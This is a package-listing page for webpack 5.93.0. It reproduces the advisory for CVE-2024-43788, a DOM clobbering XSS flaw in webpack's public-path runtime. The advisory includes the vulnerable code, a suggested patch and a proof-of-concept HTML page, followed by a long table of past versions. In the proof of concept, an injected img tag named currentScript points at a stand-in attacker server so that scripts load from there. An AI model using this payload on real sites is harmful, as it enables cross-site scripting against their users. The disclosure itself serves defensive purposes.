NodeJS/webpack/5.93.0
Packs ECMAScript/CommonJs/AMD modules for the browser. Allows you to split your codebase into multiple bundles, which can be loaded on demand. Supports loaders to preprocess files, i.e. json, jsx, es7, css, less, ... and your custom stuff.
https://www.npmjs.com/package/webpack
MIT
1 Security Vulnerabilities
Webpack's AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS
- https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
- https://nvd.nist.gov/vuln/detail/CVE-2024-43788
- https://github.com/webpack/webpack/commit/955e057abc6cc83cbc3fa1e1ef67a49758bf5a61
- https://research.securitum.com/xss-in-amp4email-dom-clobbering
- https://scnps.co/papers/sp23_domclob.pdf
- https://github.com/advisories/GHSA-4vvj-4cpr-p986
- https://github.com/webpack/webpack/issues/18718#issuecomment-2326296270
Summary
We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule
. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img
tag with an unsanitized name
attribute) are present.
We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadgets found in Webpack
We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule
. When the output.publicPath
field in the configuration is not set or is set to auto
, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:
/******/ /* webpack/runtime/publicPath */
/******/ (() => {
/******/ var scriptUrl;
/******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ var document = __webpack_require__.g.document;
/******/ if (!scriptUrl && document) {
/******/ if (document.currentScript)
/******/ scriptUrl = document.currentScript.src;
/******/ if (!scriptUrl) {
/******/ var scripts = document.getElementsByTagName("script");
/******/ if(scripts.length) {
/******/ var i = scripts.length - 1;
/******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ }
/******/ }
/******/ }
/******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ __webpack_require__.p = scriptUrl;
/******/ })();
However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript
can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src
attribute of the attacker-controlled element will be used as the scriptUrl
and assigned to __webpack_require__.p
. If additional scripts are loaded from the server, __webpack_require__.p
will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.
PoC
Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.
Consider a website developer with the following two scripts, entry.js
and import1.js
, that are compiled using Webpack:
// entry.js
import('./import1.js')
.then(module => {
module.hello();
})
.catch(err => {
console.error('Failed to load module', err);
});
// import1.js
export function hello () {
console.log('Hello');
}
The webpack.config.js is set up as follows: ``` const path = require('path');
module.exports = {
entry: './entry.js', // Ensure the correct path to your entry file
output: {
filename: 'webpack-gadgets.bundle.js', // Output bundle file
path: path.resolve(__dirname, 'dist'), // Output directory
publicPath: auto
, // Or leave this field not set
},
target: 'web',
mode: 'development',
};
```
When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js
file from the attacker's domain, attacker.controlled.server
. The attacker only needs to insert an img
tag with the name
attribute set to currentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>Webpack Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>
Impact
This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.
Patch
A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174
/******/ /* webpack/runtime/publicPath */
/******/ (() => {
/******/ var scriptUrl;
/******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ var document = __webpack_require__.g.document;
/******/ if (!scriptUrl && document) {
/******/ if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ scriptUrl = document.currentScript.src;
/******/ if (!scriptUrl) {
/******/ var scripts = document.getElementsByTagName("script");
/******/ if(scripts.length) {
/******/ var i = scripts.length - 1;
/******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ }
/******/ }
/******/ }
/******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ __webpack_require__.p = scriptUrl;
/******/ })();
Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.
839 Other Versions
Version | License | Security | Released | |
---|---|---|---|---|
1.0.1 | MIT | 2014-02-24 - 14:09 | over 10 years | |
1.0.0 | MIT | 2014-02-19 - 22:10 | over 10 years | |
1.0.0-rc12 | MIT | 2014-02-15 - 10:50 | over 10 years | |
1.0.0-rc11 | MIT | 2014-02-14 - 11:46 | over 10 years | |
1.0.0-rc9 | MIT | 2014-02-14 - 08:51 | over 10 years | |
1.0.0-rc8 | MIT | 2014-02-13 - 10:42 | over 10 years | |
1.0.0-rc7 | MIT | 2014-02-12 - 13:54 | over 10 years | |
1.0.0-rc5 | MIT | 2014-02-11 - 12:37 | over 10 years | |
1.0.0-rc4 | MIT | 2014-02-11 - 11:25 | over 10 years | |
1.0.0-rc3 | MIT | 2014-02-05 - 11:38 | almost 11 years | |
1.0.0-rc2 | MIT | 2014-02-05 - 11:05 | almost 11 years | |
1.0.0-rc1 | MIT | 2014-02-03 - 17:21 | almost 11 years | |
1.0.0-beta9 | MIT | 2014-01-31 - 13:15 | almost 11 years | |
1.0.0-beta8 | MIT | 2014-01-24 - 12:34 | almost 11 years | |
1.0.0-beta7 | MIT | 2014-01-21 - 15:25 | almost 11 years | |
1.0.0-beta6 | MIT | 2014-01-10 - 09:49 | almost 11 years | |
1.0.0-beta5 | MIT | 2014-01-08 - 18:24 | almost 11 years | |
1.0.0-beta4 | MIT | 2013-12-29 - 11:22 | almost 11 years | |
1.0.0-beta3 | MIT | 2013-12-29 - 11:11 | almost 11 years | |
1.0.0-beta2 | MIT | 2013-12-19 - 22:26 | almost 11 years | |
1.0.0-beta1 | MIT | 2013-12-17 - 22:23 | almost 11 years | |
0.11.18 | MIT | 2013-12-31 - 11:44 | almost 11 years | |
0.11.17 | MIT | 2013-12-31 - 11:27 | almost 11 years | |
0.11.16 | MIT | 2013-12-29 - 11:25 | almost 11 years | |
0.11.15 | MIT | 2013-12-16 - 23:58 | almost 11 years | |
0.11.14 | MIT | 2013-12-15 - 22:57 | almost 11 years | |
0.11.13 | MIT | 2013-12-13 - 08:48 | almost 11 years | |
0.11.12 | MIT | 2013-12-11 - 07:45 | almost 11 years | |
0.11.11 | MIT | 2013-12-03 - 22:35 | almost 11 years | |
0.11.10 | MIT | 2013-12-03 - 10:53 | almost 11 years | |
0.11.9 | MIT | 2013-11-27 - 22:54 | almost 11 years | |
0.11.8 | MIT | 2013-11-27 - 12:39 | almost 11 years | |
0.11.7 | MIT | 2013-11-26 - 15:20 | almost 11 years | |
0.11.6 | MIT | 2013-11-08 - 08:01 | about 11 years | |
0.11.5 | MIT | 2013-11-06 - 08:28 | about 11 years | |
0.11.4 | MIT | 2013-11-06 - 08:02 | about 11 years | |
0.11.3 | MIT | 2013-11-05 - 18:03 | about 11 years | |
0.11.2 | MIT | 2013-11-03 - 14:46 | about 11 years | |
0.11.1 | MIT | 2013-11-03 - 14:29 | about 11 years | |
0.11.0 | MIT | 2013-10-30 - 23:52 | about 11 years | |
0.11.0-beta29 | MIT | 2013-10-29 - 13:40 | about 11 years | |
0.11.0-beta28 | MIT | 2013-10-15 - 20:35 | about 11 years | |
0.11.0-beta27 | MIT | 2013-10-14 - 22:34 | about 11 years | |
0.11.0-beta26 | MIT | 2013-10-14 - 17:29 | about 11 years | |
0.11.0-beta25 | MIT | 2013-10-14 - 16:51 | about 11 years | |
0.11.0-beta24 | MIT | 2013-10-14 - 12:21 | about 11 years | |
0.11.0-beta23 | MIT | 2013-10-14 - 12:00 | about 11 years | |
0.11.0-beta22 | MIT | 2013-10-12 - 22:37 | about 11 years | |
0.11.0-beta21 | MIT | 2013-10-11 - 09:10 | about 11 years | |
0.11.0-beta20 | MIT | 2013-10-11 - 08:43 | about 11 years | |
0.11.0-beta19 | MIT | 2013-09-24 - 13:26 | about 11 years | |
0.11.0-beta18 | MIT | 2013-09-14 - 09:51 | about 11 years | |
0.11.0-beta17 | MIT | 2013-09-13 - 09:18 | about 11 years | |
0.11.0-beta16 | MIT | 2013-08-06 - 08:31 | over 11 years | |
0.11.0-beta15 | MIT | 2013-07-24 - 18:51 | over 11 years | |
0.11.0-beta14 | MIT | 2013-07-10 - 22:19 | over 11 years | |
0.11.0-beta13 | MIT | 2013-07-10 - 21:21 | over 11 years | |
0.11.0-beta12 | MIT | 2013-07-08 - 06:12 | over 11 years | |
0.11.0-beta11 | MIT | 2013-07-05 - 12:57 | over 11 years | |
0.11.0-beta10 | MIT | 2013-07-05 - 12:18 | over 11 years | |
0.11.0-beta9 | MIT | 2013-07-04 - 12:09 | over 11 years | |
0.11.0-beta8 | MIT | 2013-07-04 - 10:12 | over 11 years | |
0.11.0-beta7 | MIT | 2013-07-01 - 12:11 | over 11 years | |
0.11.0-beta6 | MIT | 2013-07-01 - 12:00 | over 11 years | |
0.11.0-beta5 | MIT | 2013-06-23 - 20:19 | over 11 years | |
0.11.0-beta4 | MIT | 2013-06-20 - 14:33 | over 11 years | |
0.11.0-beta3 | MIT | 2013-06-20 - 10:06 | over 11 years | |
0.11.0-beta2 | MIT | 2013-06-19 - 20:32 | over 11 years | |
0.11.0-beta1 | MIT | 2013-06-19 - 11:55 | over 11 years | |
0.10.0 | MIT | 2013-06-19 - 11:54 | over 11 years | |
0.10.0-beta25 | MIT | 2013-06-19 - 09:56 | over 11 years | |
0.10.0-beta24 | MIT | 2013-06-17 - 16:55 | over 11 years | |
0.10.0-beta23 | MIT | 2013-06-15 - 15:32 | over 11 years | |
0.10.0-beta22 | MIT | 2013-06-14 - 13:42 | over 11 years | |
0.10.0-beta21 | MIT | 2013-06-14 - 13:15 | over 11 years | |
0.10.0-beta20 | MIT | 2013-06-12 - 14:17 | over 11 years | |
0.10.0-beta19 | MIT | 2013-06-10 - 12:27 | over 11 years | |
0.10.0-beta18 | MIT | 2013-05-31 - 13:30 | over 11 years | |
0.10.0-beta17 | MIT | 2013-05-22 - 08:31 | over 11 years | |
0.10.0-beta16 | MIT | 2013-05-20 - 23:50 | over 11 years | |
0.10.0-beta15 | MIT | 2013-05-18 - 13:30 | over 11 years | |
0.10.0-beta14 | MIT | 2013-05-14 - 12:00 | over 11 years | |
0.10.0-beta13 | MIT | 2013-05-13 - 14:04 | over 11 years | |
0.10.0-beta12 | MIT | 2013-05-13 - 12:26 | over 11 years | |
0.10.0-beta11 | MIT | 2013-05-13 - 11:34 | over 11 years | |
0.10.0-beta10 | MIT | 2013-05-12 - 21:16 | over 11 years | |
0.10.0-beta9 | MIT | 2013-05-12 - 20:44 | over 11 years | |
0.10.0-beta8 | MIT | 2013-05-12 - 20:35 | over 11 years | |
0.10.0-beta7 | MIT | 2013-05-09 - 16:19 | over 11 years | |
0.10.0-beta6 | MIT | 2013-05-08 - 13:07 | over 11 years | |
0.10.0-beta5 | MIT | 2013-04-02 - 07:14 | over 11 years | |
0.10.0-beta3 | MIT | 2013-03-27 - 08:26 | over 11 years | |
0.10.0-beta2 | MIT | 2013-03-26 - 17:22 | over 11 years | |
0.9.3 | MIT | 2013-03-19 - 06:57 | over 11 years | |
0.9.2 | MIT | 2013-03-14 - 13:52 | over 11 years | |
0.9.1 | MIT | 2013-03-13 - 10:40 | over 11 years | |
0.9.0 | MIT | 2013-03-11 - 11:20 | over 11 years | |
0.9.0-beta38 | MIT | 2013-03-05 - 10:10 | over 11 years | |
0.9.0-beta37 | MIT | 2013-03-01 - 14:03 | over 11 years | |
0.9.0-beta36 | MIT | 2013-03-01 - 13:59 | over 11 years |